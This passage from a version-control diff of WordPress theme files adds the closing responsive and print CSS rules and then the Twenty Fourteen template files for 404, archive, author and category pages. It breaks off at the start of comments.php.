+		font-size: 14px;
+		font-size: 1.4rem;
+	}
+
+	.main-navigation a {
+		padding: 0.4643em 0;
+	}
+
+	.main-navigation .menu-item-has-children > a {
+		padding-right: 34px;
+	}
+
+	.main-navigation .menu-item-description {
+		line-height: 1.4583;
+		margin-top: 0.25em;
+	}
+
+	.dropdown-toggle {
+		height: 28px;
+		width: 28px;
+	}
+
+	.dropdown-toggle:after {
+		line-height: 28px;
+		width: 28px;
+	}
+
+	.social-navigation ul {
+		margin-bottom: -1.4706em;
+	}
+
+	.social-navigation li {
+		width: 20%;
+	}
+
+	.social-navigation a {
+		height: 2.8824em;
+	}
+
+	.post-password-form label,
+	.post-navigation .meta-nav,
+	.comment-navigation,
+	.image-navigation,
+	.author-heading,
+	.author-bio,
+	.entry-footer,
+	.page-links a,
+	.page-links span,
+	.comment-metadata,
+	.pingback .edit-link,
+	.comment-list .reply,
+	.comment-notes,
+	.comment-awaiting-moderation,
+	.logged-in-as,
+	.comment-form label,
+	.comment-form .comment-form-cookies-consent label,
+	.form-allowed-tags,
+	.site-info,
+	.wp-caption-text,
+	.gallery-caption,
+	.entry-caption,
+	.widecolumn label,
+	.widecolumn .mu_register label {
+		font-size: 14px;
+		font-size: 1.4rem;
+	}
+
+	.pagination .nav-links {
+		min-height: 3.2941em;
+	}
+
+	.pagination .page-numbers {
+		line-height: 3.2941em;
+		padding: 0 0.8235em;
+	}
+
+	.pagination .prev,
+	.pagination .next {
+		height: 56px;
+		padding: 0;
+		width: 56px;
+	}
+
+	.pagination .prev:before,
+	.pagination .next:before {
+		height: 56px;
+		line-height: 56px;
+		width: 56px;
+	}
+
+	.image-navigation .nav-previous a:before,
+	.image-navigation .nav-next a:after,
+	.comment-navigation .nav-previous a:before,
+	.comment-navigation .nav-next a:after {
+		top: 2px;
+	}
+
+	blockquote.alignleft,
+	.wp-caption.alignleft,
+	img.alignleft {
+		margin: 0.4118em 1.6471em 1.6471em 0;
+	}
+
+	blockquote.alignright,
+	.wp-caption.alignright,
+	img.alignright {
+		margin: 0.4118em 0 1.6471em 1.6471em;
+	}
+
+	blockquote.aligncenter,
+	.wp-caption.aligncenter,
+	img.aligncenter {
+		margin-top: 0.4118em;
+		margin-bottom: 1.6471em;
+	}
+
+	.wp-caption.alignleft,
+	.wp-caption.alignright,
+	.wp-caption.aligncenter {
+		margin-bottom: 1.2353em;
+	}
+
+	.site-title {
+		font-size: 24px;
+		font-size: 2.4rem;
+		line-height: 1.1667;
+	}
+
+	.wp-custom-logo .site-title {
+		margin-top: 0.583333333em;
+	}
+
+	.site-description {
+		font-size: 14px;
+		font-size: 1.4rem;
+	}
+
+	.widget {
+		font-size: 14px;
+		font-size: 1.4rem;
+	}
+
+	.widget blockquote {
+		font-size: 14px;
+		font-size: 1.4rem;
+		padding-left: 1.2143em;
+	}
+
+	.widget button,
+	.widget input,
+	.widget select,
+	.widget textarea {
+		font-size: 14px;
+		font-size: 1.4rem;
+	}
+
+	.widget button,
+	.widget input[type="button"],
+	.widget input[type="reset"],
+	.widget input[type="submit"] {
+		font-size: 12px;
+		font-size: 1.2rem;
+		padding: 0.75em 1.5em;
+	}
+
+	.widget input[type="text"],
+	.widget input[type="email"],
+	.widget input[type="url"],
+	.widget input[type="password"],
+	.widget input[type="search"],
+	.widget textarea {
+		padding: 0.5em;
+	}
+
+	.widget .wp-caption-text,
+	.widget .gallery-caption {
+		line-height: 1.4583;
+		padding: 0.5833em 0;
+	}
+
+	.widget_calendar caption {
+		margin: 0 0 1.9286em;
+	}
+
+	.widget_calendar td,
+	.widget_calendar th {
+		line-height: 1.9286;
+	}
+
+	.widget_archive li,
+	.widget_categories li,
+	.widget_links li,
+	.widget_meta li,
+	.widget_nav_menu li,
+	.widget_pages li,
+	.widget_recent_comments li,
+	.widget_recent_entries li {
+		padding: 0.4643em 0;
+	}
+
+	.widget_categories .children,
+	.widget_nav_menu .sub-menu,
+	.widget_pages .children {
+		margin: 0.4643em 0 0 1em;
+		padding-top: 0.4643em;
+	}
+
+	.widget_rss .rss-date,
+	.widget_rss cite {
+		line-height: 1.75;
+	}
+
+	.post-thumbnail {
+		margin-bottom: 2.4706em;
+	}
+
+	.entry-title,
+	.widecolumn h2 {
+		font-size: 35px;
+		font-size: 3.5rem;
+		line-height: 1.2;
+		margin-bottom: 1.2em;
+	}
+
+	.entry-content h1,
+	.entry-summary h1,
+	.page-content h1,
+	.comment-content h1 {
+		font-size: 35px;
+		font-size: 3.5rem;
+		line-height: 1.2;
+		margin-top: 1.6em;
+		margin-bottom: 0.8em;
+	}
+
+	.entry-content h2,
+	.entry-summary h2,
+	.page-content h2,
+	.comment-content h2 {
+		font-size: 29px;
+		font-size: 2.9rem;
+		line-height: 1.2069;
+		margin-top: 1.931em;
+		margin-bottom: 0.9655em;
+	}
+
+	.entry-content h3,
+	.entry-summary h3,
+	.page-content h3,
+	.comment-content h3 {
+		font-size: 24px;
+		font-size: 2.4rem;
+		line-height: 1.1667;
+		margin-top: 2.3333em;
+		margin-bottom: 1.1667em;
+	}
+
+	.entry-content h4,
+	.entry-summary h4,
+	.page-content h4,
+	.comment-content h4 {
+		font-size: 20px;
+		font-size: 2rem;
+		line-height: 1.4;
+		margin-top: 2.8em;
+		margin-bottom: 1.4em;
+	}
+
+	.entry-content h5,
+	.entry-content h6,
+	.entry-summary h5,
+	.entry-summary h6,
+	.page-content h5,
+	.page-content h6,
+	.comment-content h5,
+	.comment-content h6 {
+		font-size: 17px;
+		font-size: 1.7rem;
+		line-height: 1.2353;
+		margin-top: 3.2941em;
+		margin-bottom: 1.6471em;
+	}
+
+	.entry-content .more-link:after,
+	.entry-summary .more-link:after {
+		font-size: 24px;
+		top: 2px;
+	}
+
+	.author-info .avatar {
+		height: 42px;
+		margin: 0 1.6471em 1.6471em 0;
+		width: 42px;
+	}
+
+	.author-link:after {
+		top: 3px;
+	}
+
+	.posted-on:before,
+	.byline:before,
+	.cat-links:before,
+	.tags-links:before,
+	.comments-link:before,
+	.entry-format:before,
+	.edit-link:before,
+	.full-size-link:before {
+		top: 3px;
+	}
+
+	.taxonomy-description {
+		padding-top: 0.4118em;
+	}
+
+	.page-title,
+	.comments-title,
+	.comment-reply-title,
+	.post-navigation .post-title {
+		font-size: 24px;
+		font-size: 2.4rem;
+		line-height: 1.1667;
+	}
+
+	.page-links {
+		margin-bottom: 1.4117em;
+	}
+
+	.page-links a,
+	.page-links > span {
+		margin: 0 0.2857em 0.2857em 0;
+	}
+
+	.entry-attachment {
+		margin-bottom: 1.6471em;
+	}
+
+	.format-aside .entry-title,
+	.format-image .entry-title,
+	.format-video .entry-title,
+	.format-quote .entry-title,
+	.format-gallery .entry-title,
+	.format-status .entry-title,
+	.format-link .entry-title,
+	.format-audio .entry-title,
+	.format-chat .entry-title {
+		font-size: 20px;
+		font-size: 2rem;
+		line-height: 1.4;
+		margin-bottom: 1.4em;
+	}
+
+	.format-link .entry-title a:after {
+		top: 0.0833em;
+	}
+
+	.comments-title {
+		margin-bottom: 1.4em;
+	}
+
+	.comment-list article,
+	.comment-list .pingback,
+	.comment-list .trackback {
+		padding: 1.6471em 0;
+	}
+
+	.comment-list + .comment-respond,
+	.comment-navigation + .comment-respond {
+		padding-top: 1.6471em;
+	}
+
+	.comment-list .children > li {
+		padding-left: 1.1667em;
+	}
+
+	.comment-author {
+		margin-bottom: 0;
+	}
+
+	.comment-author .avatar {
+		height: 42px;
+		margin-right: 1.64705em;
+		top: 5px;
+		width: 42px;
+	}
+
+	.bypostauthor > article .fn:after {
+		top: 7px;
+		left: 6px;
+	}
+
+	.comment-metadata .edit-link:before {
+		top: 6px;
+	}
+
+	.pingback .edit-link:before {
+		top: 6px;
+	}
+
+	.comment-content ul,
+	.comment-content ol {
+		margin-bottom: 1.6471em;
+	}
+
+	.comment-list .reply a {
+		padding: 0.4286em 0.8571em;
+	}
+
+	.comment-form,
+	.no-comments {
+		padding-top: 1.6471em;
+	}
+
+	.comment-reply-title small a:before {
+		top: -1px;
+	}
+
+	embed,
+	iframe,
+	object,
+	video {
+		margin-bottom: 1.6471em;
+	}
+
+	.wp-audio-shortcode,
+	.wp-video,
+	.wp-playlist.wp-audio-playlist {
+		font-size: 17px;
+		font-size: 1.7rem;
+		margin-bottom: 1.6471em;
+	}
+
+	.wp-caption,
+	.gallery {
+		margin-bottom: 1.6471em;
+	}
+
+	.widecolumn .mu_alert {
+		margin-bottom: 1.6471em;
+	}
+
+	.widecolumn p {
+		margin: 1.6471em 0;
+	}
+
+	.widecolumn p + h2 {
+		margin-top: 1.6em;
+	}
+
+	.widecolumn #key,
+	.widecolumn .mu_register #blog_title,
+	.widecolumn .mu_register #user_email,
+	.widecolumn .mu_register #blogname,
+	.widecolumn .mu_register #user_name {
+		font-size: 17px;
+		font-size: 1.7rem;
+	}
+
+	.widecolumn .mu_register #blog_title,
+	.widecolumn .mu_register #user_email,
+	.widecolumn .mu_register #user_name {
+		margin: 0 0 0.4117em;
+	}
+}
+
+
+/**
+ * 16.6 Desktop Large 1240px
+ */
+
+@media screen and (min-width: 77.5em) {
+	body,
+	button,
+	input,
+	select,
+	textarea {
+		font-size: 19px;
+		font-size: 1.9rem;
+		line-height: 1.6842;
+	}
+
+	button,
+	input {
+		line-height: normal;
+	}
+
+	p,
+	address,
+	pre,
+	hr,
+	ul,
+	ol,
+	dl,
+	dd,
+	table {
+		margin-bottom: 1.6842em;
+	}
+
+	blockquote {
+		font-size: 22px;
+		font-size: 2.2rem;
+		line-height: 1.8182;
+		margin-bottom: 1.8182em;
+		margin-left: -1.0909em;
+		padding-left: 0.9091em;
+	}
+
+	blockquote p {
+		margin-bottom: 1.8182em;
+	}
+
+	blockquote cite,
+	blockquote small {
+		font-size: 19px;
+		font-size: 1.9rem;
+		line-height: 1.6842;
+	}
+
+	pre {
+		line-height: 1.2632;
+	}
+
+	button,
+	input[type="button"],
+	input[type="reset"],
+	input[type="submit"],
+	.post-password-form input[type="submit"],
+	.widecolumn #submit,
+	.widecolumn .mu_register input[type="submit"] {
+		font-size: 16px;
+		font-size: 1.6rem;
+		padding: 0.8125em 1.625em;
+	}
+
+	input[type="text"],
+	input[type="email"],
+	input[type="url"],
+	input[type="password"],
+	input[type="search"],
+	textarea {
+		padding: 0.5278em;
+	}
+
+	.main-navigation {
+		font-size: 16px;
+		font-size: 1.6rem;
+	}
+
+	.main-navigation a {
+		padding: 0.5em 0;
+	}
+
+	.main-navigation .menu-item-has-children > a {
+		padding-right: 38px;
+	}
+
+	.main-navigation .menu-item-description {
+		font-size: 13px;
+		font-size: 1.3rem;
+		line-height: 1.5385;
+		margin-top: 0.3077em;
+	}
+
+	.dropdown-toggle {
+		height: 32px;
+		top: 4px;
+		width: 32px;
+	}
+
+	.dropdown-toggle:after {
+		line-height: 32px;
+		width: 32px;
+	}
+
+	.social-navigation ul {
+		margin-bottom: -1.2632em;
+	}
+
+	.social-navigation a {
+		height: 2.5263em;
+	}
+
+	.post-password-form label,
+	.post-navigation .meta-nav,
+	.comment-navigation,
+	.image-navigation,
+	.author-heading,
+	.author-bio,
+	.entry-footer,
+	.page-links a,
+	.page-links span,
+	.comment-metadata,
+	.pingback .edit-link,
+	.comment-list .reply,
+	.comment-notes,
+	.comment-awaiting-moderation,
+	.logged-in-as,
+	.comment-form label,
+	.comment-form .comment-form-cookies-consent label,
+	.form-allowed-tags,
+	.site-info,
+	.wp-caption-text,
+	.gallery-caption,
+	.entry-caption,
+	.widecolumn label,
+	.widecolumn .mu_register label {
+		font-size: 16px;
+		font-size: 1.6rem;
+	}
+
+	.pagination .nav-links {
+		min-height: 3.3684em;
+	}
+
+	.pagination .page-numbers {
+		line-height: 3.3684em;
+		padding: 0 0.8421em;
+	}
+
+	.pagination .prev,
+	.pagination .next {
+		height: 64px;
+		padding: 0;
+		width: 64px;
+	}
+
+	.pagination .prev:before,
+	.pagination .next:before {
+		height: 64px;
+		line-height: 64px;
+		width: 64px;
+	}
+
+	.image-navigation .nav-previous a:before,
+	.image-navigation .nav-next a:after,
+	.comment-navigation .nav-previous a:before,
+	.comment-navigation .nav-next a:after {
+		font-size: 24px;
+		top: -1px;
+	}
+
+	blockquote.alignleft,
+	.wp-caption.alignleft,
+	img.alignleft {
+		margin: 0.4211em 1.6842em 1.6842em 0;
+	}
+
+	blockquote.alignright,
+	.wp-caption.alignright,
+	img.alignright {
+		margin: 0.4211em 0 1.6842em 1.6842em;
+	}
+
+	blockquote.aligncenter,
+	.wp-caption.aligncenter,
+	img.aligncenter {
+		margin-top: 0.4211em;
+		margin-bottom: 1.6842em;
+	}
+
+	.wp-caption.alignleft,
+	.wp-caption.alignright,
+	.wp-caption.aligncenter {
+		margin-bottom: 1.2632em;
+	}
+
+	.site-title {
+		font-size: 27px;
+		font-size: 2.7rem;
+		line-height: 1.1852;
+	}
+
+	.wp-custom-logo .site-title {
+		margin-top: 0.592592593em;
+	}
+
+	.site-description {
+		font-size: 16px;
+		font-size: 1.6rem;
+	}
+
+	.widget {
+		font-size: 16px;
+		font-size: 1.6rem;
+	}
+
+	.widget blockquote {
+		font-size: 16px;
+		font-size: 1.6rem;
+		padding-left: 1.25em;
+	}
+
+	.widget blockquote cite,
+	.widget blockquote small {
+		font-size: 13px;
+		font-size: 1.3rem;
+		line-height: 1.8462;
+	}
+
+	.widget button,
+	.widget input,
+	.widget select,
+	.widget textarea {
+		font-size: 16px;
+		font-size: 1.6rem;
+	}
+
+	.widget button,
+	.widget input[type="button"],
+	.widget input[type="reset"],
+	.widget input[type="submit"] {
+		font-size: 13px;
+		font-size: 1.3rem;
+		padding: 0.8462em 1.6923em;
+	}
+
+	.widget input[type="text"],
+	.widget input[type="email"],
+	.widget input[type="url"],
+	.widget input[type="password"],
+	.widget input[type="search"],
+	.widget textarea {
+		padding: 0.5em;
+	}
+
+	.widget .wp-caption-text,
+	.widget .gallery-caption {
+		font-size: 13px;
+		font-size: 1.3rem;
+		line-height: 1.5385;
+		padding: 0.6154em 0;
+	}
+
+	.widget_calendar td,
+	.widget_calendar th {
+		line-height: 1.9375;
+	}
+
+	.widget_calendar caption {
+		margin: 0 0 1.5em;
+	}
+
+	.widget_archive li,
+	.widget_categories li,
+	.widget_links li,
+	.widget_meta li,
+	.widget_nav_menu li,
+	.widget_pages li,
+	.widget_recent_comments li,
+	.widget_recent_entries li {
+		padding: 0.4688em 0;
+	}
+
+	.widget_categories .children,
+	.widget_nav_menu .sub-menu,
+	.widget_pages .children {
+		margin: 0.4688em 0 0 1em;
+		padding-top: 0.4688em;
+	}
+
+	.widget_rss .rss-date,
+	.widget_rss cite {
+		font-size: 13px;
+		font-size: 1.3rem;
+		line-height: 1.8462;
+	}
+
+	.post-thumbnail {
+		margin-bottom: 2.9474em;
+	}
+
+	.entry-title,
+	.widecolumn h2 {
+		font-size: 39px;
+		font-size: 3.9rem;
+		line-height: 1.2308;
+		margin-bottom: 1.2308em;
+	}
+
+	.entry-content h1,
+	.entry-summary h1,
+	.page-content h1,
+	.comment-content h1 {
+		font-size: 39px;
+		font-size: 3.9rem;
+		line-height: 1.2308;
+		margin-top: 1.641em;
+		margin-bottom: 0.8205em;
+	}
+
+	.entry-content h2,
+	.entry-summary h2,
+	.page-content h2,
+	.comment-content h2 {
+		font-size: 32px;
+		font-size: 3.2rem;
+		line-height: 1.25;
+		margin-top: 2em;
+		margin-bottom: 1em;
+	}
+
+	.entry-content h3,
+	.entry-summary h3,
+	.page-content h3,
+	.comment-content h3 {
+		font-size: 27px;
+		font-size: 2.7rem;
+		line-height: 1.1852;
+		margin-top: 2.3704em;
+		margin-bottom: 1.1852em;
+	}
+
+	.entry-content h4,
+	.entry-summary h4,
+	.page-content h4,
+	.comment-content h4 {
+		font-size: 22px;
+		font-size: 2.2rem;
+		line-height: 1.4545;
+		margin-top: 2.9091em;
+		margin-bottom: 1.4545em;
+	}
+
+	.entry-content h5,
+	.entry-content h6,
+	.entry-summary h5,
+	.entry-summary h6,
+	.page-content h5,
+	.page-content h6,
+	.comment-content h5,
+	.comment-content h6 {
+		font-size: 19px;
+		font-size: 1.9rem;
+		line-height: 1.2632;
+		margin-top: 3.3684em;
+		margin-bottom: 1.6842em;
+	}
+
+	.entry-content .more-link:after,
+	.entry-summary .more-link:after {
+		top: 3px;
+	}
+
+	.author-info .avatar {
+		height: 56px;
+		margin: 0 1.6842em 1.6842em 0;
+		width: 56px;
+	}
+
+	.author-link:after {
+		font-size: 24px;
+		top: 0;
+	}
+
+	.posted-on:before,
+	.byline:before,
+	.cat-links:before,
+	.tags-links:before,
+	.comments-link:before,
+	.entry-format:before,
+	.edit-link:before,
+	.full-size-link:before {
+		top: 4px;
+	}
+
+	.taxonomy-description {
+		padding-top: 0.4211em;
+	}
+
+	.page-title,
+	.comments-title,
+	.comment-reply-title,
+	.post-navigation .post-title {
+		font-size: 27px;
+		font-size: 2.7rem;
+		line-height: 1.1852;
+	}
+
+	.page-links {
+		margin-bottom: 1.4736em;
+	}
+
+	.page-links a,
+	.page-links > span {
+		margin: 0 0.25em 0.25em 0;
+	}
+
+	.entry-attachment {
+		margin-bottom: 1.6842em;
+	}
+
+	.format-aside .entry-title,
+	.format-image .entry-title,
+	.format-video .entry-title,
+	.format-quote .entry-title,
+	.format-gallery .entry-title,
+	.format-status .entry-title,
+	.format-link .entry-title,
+	.format-audio .entry-title,
+	.format-chat .entry-title {
+		font-size: 22px;
+		font-size: 2.2rem;
+		line-height: 1.4545;
+		margin-bottom: 1.4545em;
+	}
+
+	.format-link .entry-title a:after {
+		top: 3px;
+	}
+
+	.comments-title {
+		margin-bottom: 1.4545em;
+	}
+
+	.comment-list article,
+	.comment-list .pingback,
+	.comment-list .trackback {
+		padding: 1.6842em 0;
+	}
+
+	.comment-list + .comment-respond,
+	.comment-navigation + .comment-respond {
+		padding-top: 1.6842em;
+	}
+
+	.comment-list .children > li {
+		padding-left: 1.4737em;
+	}
+
+	.comment-author .avatar {
+		height: 56px;
+		margin-right: 1.6842em;
+		top: 3px;
+		width: 56px;
+	}
+
+	.bypostauthor > article .fn:after {
+		top: 8px;
+	}
+
+	.comment-metadata .edit-link:before {
+		top: 8px;
+	}
+
+	.pingback .edit-link:before {
+		top: 8px;
+	}
+
+	.comment-content ul,
+	.comment-content ol {
+		margin-bottom: 1.6842em;
+	}
+
+	.comment-list .reply a {
+		padding: 0.4375em 0.875em;
+	}
+
+	.comment-form,
+	.no-comments {
+		padding-top: 1.6842em;
+	}
+
+	embed,
+	iframe,
+	object,
+	video {
+		margin-bottom: 1.6842em;
+	}
+
+	.wp-audio-shortcode,
+	.wp-video,
+	.wp-playlist.wp-audio-playlist {
+		font-size: 19px;
+		font-size: 1.9rem;
+		margin-bottom: 1.6842em;
+	}
+
+	.wp-caption,
+	.gallery {
+		margin-bottom: 1.6842em;
+	}
+
+	.widecolumn .mu_alert {
+		margin-bottom: 1.6842em;
+	}
+
+	.widecolumn p {
+		margin: 1.6842em 0;
+	}
+
+	.widecolumn p + h2 {
+		margin-top: 1.641em;
+	}
+
+	.widecolumn #key,
+	.widecolumn .mu_register #blog_title,
+	.widecolumn .mu_register #user_email,
+	.widecolumn .mu_register #blogname,
+	.widecolumn .mu_register #user_name {
+		font-size: 19px;
+		font-size: 1.9rem;
+	}
+
+	.widecolumn .mu_register #blog_title,
+	.widecolumn .mu_register #user_email,
+	.widecolumn .mu_register #user_name {
+		margin: 0 0 0.421em;
+	}
+}
+
+
+/**
+ * 16.7 Desktop X-Large 1403px
+ */
+
+@media screen and (min-width: 87.6875em) {
+	body:before {
+		width: -webkit-calc(50% - 289px);
+		width: calc(50% - 289px);
+	}
+}
+
+
+/**
+ * 17.0 Print
+ */
+
+@media print {
+	body {
+		background: none !important; /* Brute force since user agents all print differently. */
+		font-size: 11.25pt;
+	}
+
+	.secondary-toggle,
+	.navigation,
+	.page-links,
+	.edit-link,
+	#reply-title,
+	.comment-form,
+	.comment-edit-link,
+	.comment-list .reply a,
+	button,
+	input,
+	textarea,
+	select,
+	.widecolumn form,
+	.widecolumn .mu_register form {
+		display: none;
+	}
+
+	.site-header,
+	.site-footer,
+	.hentry,
+	.entry-footer,
+	.page-header,
+	.page-content,
+	.comments-area,
+	.widecolumn {
+		background: none !important; /* Make sure color schemes dont't affect to print */
+	}
+
+	body,
+	blockquote,
+	blockquote cite,
+	blockquote small,
+	label,
+	a,
+	.site-title a,
+	.site-description,
+	.post-title,
+	.author-heading,
+	.entry-footer,
+	.entry-footer a,
+	.taxonomy-description,
+	.entry-caption,
+	.comment-author,
+	.comment-metadata,
+	.comment-metadata a,
+	.comment-notes,
+	.comment-awaiting-moderation,
+	.no-comments,
+	.site-info,
+	.site-info a,
+	.wp-caption-text,
+	.gallery-caption {
+		color: #000 !important; /* Make sure color schemes don't affect to print */
+	}
+
+	pre,
+	abbr[title],
+	table,
+	th,
+	td,
+	.site-header,
+	.site-footer,
+	.hentry + .hentry,
+	.author-info,
+	.page-header,
+	.comments-area,
+	.comment-list + .comment-respond,
+	.comment-list article,
+	.comment-list .pingback,
+	.comment-list .trackback,
+	.no-comments {
+		border-color: #eaeaea !important; /* Make sure color schemes don't affect to print */
+	}
+
+	.site {
+		margin: 0 7.6923%;
+	}
+
+	.sidebar {
+		position: relative !important; /* Make sure sticky sidebar doesn't affect to print */
+	}
+
+	.site-branding {
+		padding: 0;
+	}
+
+	.site-header {
+		padding: 7.6923% 0;
+	}
+
+	.site-description {
+		display: block;
+	}
+
+	.hentry + .hentry {
+		margin-top: 7.6923%;
+	}
+
+	.hentry.has-post-thumbnail {
+		padding-top: 7.6923%;
+	}
+
+	.sticky-post {
+		background: #000 !important;
+		color: #fff !important;
+	}
+
+	.entry-header,
+	.entry-footer {
+		padding: 0;
+	}
+
+	.entry-content,
+	.entry-summary {
+		padding: 0 0 7.6923%;
+	}
+
+	.post-thumbnail img {
+		margin: 0;
+	}
+
+	.author-info {
+		margin: 0;
+	}
+
+	.page-content {
+		padding: 7.6923% 0 0;
+	}
+
+	.page-header {
+		padding: 3.84615% 0;
+	}
+
+	.comments-area {
+		border: 0;
+		padding: 7.6923% 0 0;
+	}
+
+	.site-footer {
+		margin-top: 7.6923%;
+		padding: 3.84615% 0;
+	}
+
+	.widecolumn {
+		margin: 7.6923% 0 0;
+		padding: 0;
+	}
+}
Index: /tags/5.0.20/src/wp-content/themes/twentyfourteen/404.php
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentyfourteen/404.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentyfourteen/404.php	(revision 56912)
@@ -0,0 +1,32 @@
+<?php
+/**
+ * The template for displaying 404 pages (Not Found)
+ *
+ * @package WordPress
+ * @subpackage Twenty_Fourteen
+ * @since Twenty Fourteen 1.0
+ */
+
+get_header(); ?>
+
+
+	<div id="primary" class="content-area">
+		<div id="content" class="site-content" role="main">
+
+			<header class="page-header">
+				<h1 class="page-title"><?php _e( 'Not Found', 'twentyfourteen' ); ?></h1>
+			</header>
+
+			<div class="page-content">
+				<p><?php _e( 'It looks like nothing was found at this location. Maybe try a search?', 'twentyfourteen' ); ?></p>
+
+				<?php get_search_form(); ?>
+			</div><!-- .page-content -->
+
+		</div><!-- #content -->
+	</div><!-- #primary -->
+
+<?php
+get_sidebar( 'content' );
+get_sidebar();
+get_footer();
Index: /tags/5.0.20/src/wp-content/themes/twentyfourteen/archive.php
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentyfourteen/archive.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentyfourteen/archive.php	(revision 56912)
@@ -0,0 +1,74 @@
+<?php
+/**
+ * The template for displaying Archive pages
+ *
+ * Used to display archive-type pages if nothing more specific matches a query.
+ * For example, puts together date-based pages if no date.php file exists.
+ *
+ * If you'd like to further customize these archive views, you may create a
+ * new template file for each specific one. For example, Twenty Fourteen
+ * already has tag.php for Tag archives, category.php for Category archives,
+ * and author.php for Author archives.
+ *
+ * @link https://codex.wordpress.org/Template_Hierarchy
+ *
+ * @package WordPress
+ * @subpackage Twenty_Fourteen
+ * @since Twenty Fourteen 1.0
+ */
+
+get_header(); ?>
+
+	<section id="primary" class="content-area">
+		<div id="content" class="site-content" role="main">
+
+			<?php if ( have_posts() ) : ?>
+
+			<header class="page-header">
+				<h1 class="page-title">
+					<?php
+						if ( is_day() ) :
+							printf( __( 'Daily Archives: %s', 'twentyfourteen' ), get_the_date() );
+
+						elseif ( is_month() ) :
+							printf( __( 'Monthly Archives: %s', 'twentyfourteen' ), get_the_date( _x( 'F Y', 'monthly archives date format', 'twentyfourteen' ) ) );
+
+						elseif ( is_year() ) :
+							printf( __( 'Yearly Archives: %s', 'twentyfourteen' ), get_the_date( _x( 'Y', 'yearly archives date format', 'twentyfourteen' ) ) );
+
+						else :
+							_e( 'Archives', 'twentyfourteen' );
+
+						endif;
+					?>
+				</h1>
+			</header><!-- .page-header -->
+
+			<?php
+					// Start the Loop.
+					while ( have_posts() ) : the_post();
+
+						/*
+						 * Include the post format-specific template for the content. If you want to
+						 * use this in a child theme, then include a file called content-___.php
+						 * (where ___ is the post format) and that will be used instead.
+						 */
+						get_template_part( 'content', get_post_format() );
+
+					endwhile;
+					// Previous/next page navigation.
+					twentyfourteen_paging_nav();
+
+				else :
+					// If no content, include the "No posts found" template.
+					get_template_part( 'content', 'none' );
+
+				endif;
+			?>
+		</div><!-- #content -->
+	</section><!-- #primary -->
+
+<?php
+get_sidebar( 'content' );
+get_sidebar();
+get_footer();
Index: /tags/5.0.20/src/wp-content/themes/twentyfourteen/author.php
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentyfourteen/author.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentyfourteen/author.php	(revision 56912)
@@ -0,0 +1,74 @@
+<?php
+/**
+ * The template for displaying Author archive pages
+ *
+ * @link https://codex.wordpress.org/Template_Hierarchy
+ *
+ * @package WordPress
+ * @subpackage Twenty_Fourteen
+ * @since Twenty Fourteen 1.0
+ */
+
+get_header(); ?>
+
+	<section id="primary" class="content-area">
+		<div id="content" class="site-content" role="main">
+
+			<?php if ( have_posts() ) : ?>
+
+			<header class="archive-header">
+				<h1 class="archive-title">
+					<?php
+						/*
+						 * Queue the first post, that way we know what author
+						 * we're dealing with (if that is the case).
+						 *
+						 * We reset this later so we can run the loop properly
+						 * with a call to rewind_posts().
+						 */
+						the_post();
+
+						printf( __( 'All posts by %s', 'twentyfourteen' ), get_the_author() );
+					?>
+				</h1>
+				<?php if ( get_the_author_meta( 'description' ) ) : ?>
+				<div class="author-description"><?php the_author_meta( 'description' ); ?></div>
+				<?php endif; ?>
+			</header><!-- .archive-header -->
+
+			<?php
+					/*
+					 * Since we called the_post() above, we need to rewind
+					 * the loop back to the beginning that way we can run
+					 * the loop properly, in full.
+					 */
+					rewind_posts();
+
+					// Start the Loop.
+					while ( have_posts() ) : the_post();
+
+						/*
+						 * Include the post format-specific template for the content. If you want to
+						 * use this in a child theme, then include a file called content-___.php
+						 * (where ___ is the post format) and that will be used instead.
+						 */
+						get_template_part( 'content', get_post_format() );
+
+					endwhile;
+					// Previous/next page navigation.
+					twentyfourteen_paging_nav();
+
+				else :
+					// If no content, include the "No posts found" template.
+					get_template_part( 'content', 'none' );
+
+				endif;
+			?>
+
+		</div><!-- #content -->
+	</section><!-- #primary -->
+
+<?php
+get_sidebar( 'content' );
+get_sidebar();
+get_footer();
Index: /tags/5.0.20/src/wp-content/themes/twentyfourteen/category.php
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentyfourteen/category.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentyfourteen/category.php	(revision 56912)
@@ -0,0 +1,58 @@
+<?php
+/**
+ * The template for displaying Category pages
+ *
+ * @link https://codex.wordpress.org/Template_Hierarchy
+ *
+ * @package WordPress
+ * @subpackage Twenty_Fourteen
+ * @since Twenty Fourteen 1.0
+ */
+
+get_header(); ?>
+
+	<section id="primary" class="content-area">
+		<div id="content" class="site-content" role="main">
+
+			<?php if ( have_posts() ) : ?>
+
+			<header class="archive-header">
+				<h1 class="archive-title"><?php printf( __( 'Category Archives: %s', 'twentyfourteen' ), single_cat_title( '', false ) ); ?></h1>
+
+				<?php
+					// Show an optional term description.
+					$term_description = term_description();
+					if ( ! empty( $term_description ) ) :
+						printf( '<div class="taxonomy-description">%s</div>', $term_description );
+					endif;
+				?>
+			</header><!-- .archive-header -->
+
+			<?php
+					// Start the Loop.
+					while ( have_posts() ) : the_post();
+
+					/*
+					 * Include the post format-specific template for the content. If you want to
+					 * use this in a child theme, then include a file called content-___.php
+					 * (where ___ is the post format) and that will be used instead.
+					 */
+					get_template_part( 'content', get_post_format() );
+
+					endwhile;
+					// Previous/next page navigation.
+					twentyfourteen_paging_nav();
+
+				else :
+					// If no content, include the "No posts found" template.
+					get_template_part( 'content', 'none' );
+
+				endif;
+			?>
+		</div><!-- #content -->
+	</section><!-- #primary -->
+
+<?php
+get_sidebar( 'content' );
+get_sidebar();
+get_footer();
Index: /tags/5.0.20/src/wp-content/themes/twentyfourteen/comments.php
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentyfourteen/comments.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentyfourteen/comments.php	(revision 56912)
@@ -0,0 +1,82 @@
+<?php
+/**
+ * The template for displaying Comments
+ *
+ * The area of the page that contains comments and the comment form.
+ *
+ * @package WordPress
+ * @subpackage Twenty_Fourteen
+ * @since Twenty Fourteen 1.0
+ */
+
+/*
+ * If the current post is protected by a password and the visitor has not yet
+ * entered the password we will return early without loading the comments.
+ */
+if ( post_password_required() ) {
+	return;
+}
+?>
+
+<div id="comments" class="comments-area">
+
+	<?php if ( have_comments() ) : ?>
+
